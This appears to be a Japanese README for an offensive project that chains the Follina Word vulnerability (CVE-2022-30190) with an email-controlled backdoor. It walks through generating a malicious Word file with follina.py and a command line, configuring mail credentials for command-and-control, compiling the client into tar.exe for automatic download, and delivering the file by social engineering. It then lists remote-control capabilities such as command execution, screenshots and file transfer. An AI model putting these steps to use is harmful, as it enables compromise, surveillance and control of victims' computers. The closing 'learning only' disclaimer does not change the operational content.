
CVE-2022-30190、163 email backdoor、画像ステガノグラフィに基づく自動化された攻撃チェーン。
CVE-2022-30190、163メールバックドア、画像ステガノグラフィに基づく自動攻撃チェーン
以下のGitHubリポジトリに感謝します。コードの一部を参照・修正して統合し、私たちの作業を実装しました。
中国語のREADMEこちら
gdog:
follina:
follina.pyを使用して悪意のあるWordファイルを作成し、HTTPリスニングをオンにします
--ip と --output を使用して指定することもできますpython follina.py --ip 100.100.100.100 --output maldoc.docgdogのclient.pyとgdog.pyを修正し、以下の情報を記入します
gmail_user = 'your email'
gmail_pwd = 'your pwd'
server = "smtp server"
imap_server = 'imap server'
client.pyをtar.exeにコンパイルし、/follina/wwwの下に配置します
ソーシャルエンジニアリング手法を使用してターゲットに送信します。被害者がWordを開けば、tar.exeが自動的にダウンロードされ実行されます。
攻撃者はローカルでgdogを実行し、コマンドを送信してターゲットマシンを制御します。使用方法については gdog を参照してください。
これは攻撃チェーンの実装のデモに過ぎません。実行中のexeはタスクマネージャーでも確認でき、効果を観察するのが簡単です。アンチウイルス、隠蔽、権限昇格などの操作は行っていません。もちろん、Windowsではこれらは難しくありませんよね?
gdogプロジェクトは長い間存在しており、それを正常に動作させるために多大な労力を費やしました。現在確認されているリモートコントロールコマンドには、コマンド実行、スクリーンショット取得、ポップアップ表示、シャットダウン、画面ロック、ファイル転送が含まれます。これらの機能はほとんどのニーズに十分対応できます。
理由はわかりませんが、imapのSUBJECT検索に問題があるようです。目的の件名のメールを検索できず、戻り値が空になります。そのため、未読メールをすべて読み込み、対象をフィルタリングし、それ以外を未読に設定するなど、他の方法を取るしかありません。これは制御ユーザーが多い場合に問題を引き起こす可能性があり、解決が必要です。
このプロジェクトは学習と交流の目的のみです。